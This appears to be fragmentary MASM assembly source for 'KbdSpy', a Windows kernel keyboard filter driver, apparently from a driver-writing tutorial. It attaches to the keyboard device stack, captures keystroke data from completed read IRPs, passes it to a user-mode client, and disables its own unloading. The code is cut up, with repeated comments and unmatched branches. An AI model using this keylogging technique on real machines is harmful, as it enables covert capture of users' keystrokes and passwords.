;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; I N C L U D E F I L E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntddk.inc
include \masm32\include\w2k\ntoskrnl.inc
include \masm32\include\w2k\ntddkbd.inc
include \masm32\include\w2k\hal.inc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; M A C R O S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; spin lock macros
LOCK_ACQUIRE MACRO lck:REQ
; Returns old IRQL in al
IF (OPATTR (lck)) AND 00010000y
;; Is a register value
IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
mov ecx, lck
ENDIF
ELSEIF (OPATTR (lck)) AND 01000000y
;; relative to SS
lea ecx, lck
ELSE
mov ecx, offset lck
ENDIF
fastcall KfAcquireSpinLock, ecx
ENDM
LOCK_RELEASE MACRO lck:REQ, NewIrql:REQ
IF (OPATTR (lck)) AND 00010000y
;; Is a register value
IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
mov ecx, lck
ENDIF
ELSEIF (OPATTR (lck)) AND 01000000y
;; relative to SS
lea ecx, lck
ELSE
mov ecx, offset lck
ENDIF
.if dl == DISPATCH_LEVEL
fastcall KefReleaseSpinLockFromDpcLevel, ecx
.else
and edx, 0FFh ;; for shure (KIRQL is BYTE)
fastcall KfReleaseSpinLock, ecx, edx
.endif
ENDM
; mutex macros
MUTEX_INIT MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeInitializeMutex, mtx, 0
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeInitializeMutex, addr mtx, 0
ELSE
invoke KeInitializeMutex, offset mtx, 0
ENDIF
ENDM
MUTEX_ACQUIRE MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeWaitForMutexObject, mtx, Executive, KernelMode, FALSE, NULL
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeWaitForMutexObject, addr mtx, Executive, KernelMode, FALSE, NULL
ELSE
invoke KeWaitForMutexObject, offset mtx, Executive, KernelMode, FALSE, NULL
ENDIF
ENDM
MUTEX_RELEASE MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeReleaseMutex, mtx, FALSE
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeReleaseMutex, addr mtx, FALSE
ELSE
invoke KeReleaseMutex, offset mtx, FALSE
ENDIF
ENDM
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; S T R U C T U R E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; The top of the stack before this filter was added
pNextLowerDeviceObject PDEVICE_OBJECT ?
; The referenced pointer to file object that represents
; the corresponding device object. This pointer we get
; from IoGetDeviceObjectPointer and must dereference
; while detaching.
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; R E A D O N L Y D A T A
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; U N I N I T I A L I Z E D D A T A
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
g_pEventObject PKEVENT ?
; This spin-lock let us be sure that no one will dereference event object pointer
; while we compare it agaist NULL and then call KeSetEvent in our completion routine
g_EventSpinLock KSPIN_LOCK ? ; locks key data list
align 4
g_KeyDataListHead LIST_ENTRY <> ; accessed under lock
; Holds number of KEY_DATA_ENTRYs in list. Should not exceed MAX_KEY_DATA_ENTRIES.
g_cKeyDataEntries SDWORD ? ; accessed under lock
; This spin-lock let us be sure that only one thread is working with key data at a time
g_KeyDataSpinLock KSPIN_LOCK ?
; This mutex let us be sure no one will try to do some unpredictable things.
; For example: no one can try to attach while we in the middle of the detaching.
align 4
g_mtxCDO_State KMUTEX <>
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
_ExAllocateFromNPagedLookasideList proc uses esi Lookaside:PNPAGED_LOOKASIDE_LIST
;; Function Description:
;; This function removes (pops) the first entry from the specified
;; nonpaged lookaside list.
;;
;; Arguments:
;; Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;;
;; Return Value:
;; If an entry is removed from the specified lookaside list, then the
;; address of the entry is returned as the function value. Otherwise,
;; NULL is returned.
;; Function Description:
;; This function inserts (pushes) the specified entry into the specified
;; nonpaged lookaside list.
;;
;; Arguments:
;; Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;; Entry - Supples a pointer to the entry that is inserted in the lookaside list.
;;
;; Return Value:
;; None.
; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code. So, this proc may be optimized a little.
LOCK_ACQUIRE g_KeyDataSpinLock
mov bl, al ; old IRQL
; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code. So, this proc may be optimized a little.
LOCK_ACQUIRE g_KeyDataSpinLock
mov bl, al ; old IRQL
IsListEmpty addr g_KeyDataListHead
.if eax != TRUE ; Is there something to remove?
; Filter device object exist and should be attached
mov status, STATUS_SUCCESS
.else
; Let's attach to keyboard device stack
;
; Create unnamed device because filter device objects should never be named.
; We are going to attach it to existing keyboard device stack. So no one may
; directly open filter device by name.
; Supply a name for any device object in the stack we are about to attach to.
; IoGetDeviceObjectPointer returns the pointer to upper most device object in the stack.
; Here we have two pointers: pointer to the topmost device in the keyboard stack
; and pointer to the corresponding file object. IoGetDeviceObjectPointer
; references file object but not the device object.
;
; We are just one line from attaching to our target. We must prevent
; our driver from unloading while it intercepts keyboard IRPs.
; We could use RemoveLock, but the easiest solution is to remove pointer
; to DriverUnload routine from driver object. OK, let's do it.
mov eax, g_pDriverObject
and (DRIVER_OBJECT PTR [eax]).DriverUnload, NULL
; We need to copy DeviceType and Characteristics from the target device object
; underneath us to our filter device object. We also need to copy DO_DIRECT_IO,
; DO_BUFFERED_IO, and DO_POWER_PAGABLE flags. This guarantees that the filter
; device object looks the same as the target device object.
mov eax, [edx].Flags
and eax, DO_DIRECT_IO + DO_BUFFERED_IO + DO_POWER_PAGABLE
or [ecx].Flags, eax
; IoCreateDevice sets the DO_DEVICE_INITIALIZING flag in the device object.
; While this flag is set, the I/O Manager will refuse to attach other device
; objects to us or to open a handle to our device. So we have to clear
; this flag because now we are ready to filter.
;
; Note: It is not necessary to clear the DO_DEVICE_INITIALIZING flag on device
; objects that are created in DriverEntry, because this is done automatically
; by the I/O Manager.
and [ecx].Flags, not DO_DEVICE_INITIALIZING
assume edx:nothing
assume ecx:nothing
mov status, STATUS_SUCCESS
.else ; IoAttachDeviceToDeviceStack failed
; We have failed to attach
invoke ObDereferenceObject, pTargetFileObject
invoke IoDeleteDevice, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
; Lets see if there is someone above us.
; Temporary set the DO_DEVICE_INITIALIZING flag in filter device object.
; So no one can attach while we check the stack.
mov eax, g_pFilterDeviceObject
or (DEVICE_OBJECT ptr [eax]).Flags, DO_DEVICE_INITIALIZING
; Drain g_KeyDataListHead. If someone have ran KbdSpy previously
; but have failed to unload the driver because of not pressing
; a key as recommended, we have at least one pending IRP. When
; someone press a kay this pending IRP is completed and our
; completion routine will add one entry into g_KeyDataListHead.
; So if it's not a first time we are being created we may have
; some entr(ies)y in g_KeyDataListHead from previous sessions.
; So lets throw them away.
ReadComplete proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP, pContext:PVOID
local KeyData:KEY_DATA
local cEntriesLogged:DWORD
; This routine is to be called when the IRP is completed.
; It is running at IRQL <= DISPATCH_LEVEL and in an arbitrary thread context.
mov esi, pIrp
assume esi:ptr _IRP
; Probably better to use NT_SUCCESS-like behaviour, but it works anyway
.if [esi].IoStatus.Status == STATUS_SUCCESS
; At least one KEYBOARD_INPUT_DATA structure was transferred.
; The AssociatedIrp.SystemBuffer member points to the output buffer
; that is allocated by the Win32 subsystem to output the requested
; number of KEYBOARD_INPUT_DATA structures.
mov edi, [esi].AssociatedIrp.SystemBuffer
assume edi:ptr KEYBOARD_INPUT_DATA
; The Information member specifies the number of bytes
; that are transferred to the Win32 subsystem output buffer.
mov ebx, [esi].IoStatus.Information
and cEntriesLogged, 0
.while sdword ptr ebx >= sizeof KEYBOARD_INPUT_DATA
add edi, sizeof KEYBOARD_INPUT_DATA
sub ebx, sizeof KEYBOARD_INPUT_DATA
.endw
assume edi:nothing
; Notify user-mode client.
.if ( cEntriesLogged != 0 )
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
.if ( g_pEventObject != NULL ) ; EventObject may go away
invoke KeSetEvent, g_pEventObject, 0, FALSE
.endif
LOCK_RELEASE g_EventSpinLock, bl
.endif
.endif
; Any driver that returns STATUS_SUCCESS from IoCompletion routine should check the
; IRP->PendingReturned flag in the IoCompletion routine. If the flag is set,
; the IoCompletion routine must call IoMarkIrpPending with the IRP.
.if [esi].PendingReturned
IoMarkIrpPending esi
.endif
; No need to know what will happen with IRP. So just pass it down and forget.
; Bacause we do not need to set completion routine use IoSkipCurrentIrpStackLocation
; instead of IoCopyCurrentIrpStackLocationToNext. It's faster.
IoSkipCurrentIrpStackLocation pIrp
.endif
; It's time to send an IRP to next-lower-level driver.
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; D I S C A R D A B L E C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Create a Control Device Object (CDO). The purpose of the CDO is to allow
; our user-mode client to communicate with us, even before the filter is attached
; to its target
;
; We store the CDO pointer into g_pControlDeviceObject, a globally defined variable.
; This way we can identify the control device object in dispatch routines by comparing
; the passed in device pointer against our CDO pointer
;
; CDO is exclusive one. It ensures that only one process opens the device at a time.
; DDK stands it is reserved for system use and drivers set this parameter to FALSE.
; Anyway we set it to TRUE and to force single-client logic mantain global variable
; g_fCDOOpened which we will set/reset in CDO_DispatchCreate/CDO_DispatchClose